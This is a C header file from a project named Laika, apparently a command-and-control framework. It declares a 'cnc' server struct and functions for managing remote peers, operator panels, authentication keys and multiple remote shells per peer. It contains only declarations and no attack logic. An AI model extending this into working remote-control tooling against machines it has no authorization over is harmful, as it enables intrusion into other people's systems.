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Laika/cnc/include/cnc.h
CPunch 7d96f3252c Major shell packet refactoring
- can now open multiple shells per peer (change LAIKA_MAX_SHELLS)
- more sanity checking for public keys (new peers with duplicate keys are killed
- misc. refactoring, added cnc/cpeer.[ch]
2022-05-07 20:09:42 -05:00

57 lines
1.9 KiB
C

#ifndef LAIKA_CNC_H
#define LAIKA_CNC_H
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h"
#include "ltask.h"
#include "hashmap.h"
/* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
struct sLaika_cnc {
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock;
struct sLaika_pollList pList;
struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct sLaika_peer **authPeers; /* holds connected panel peers */
uint8_t **authKeys;
int authKeysCount;
int authKeysCap;
int authPeersCount;
int authPeersCap;
uint16_t port;
};
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
void laikaC_freeCNC(struct sLaika_cnc *cnc);
void laikaC_bindServer(struct sLaika_cnc *cnc);
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type);
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key);
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
/* kills peers who haven't ping'd in a while */
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
#endif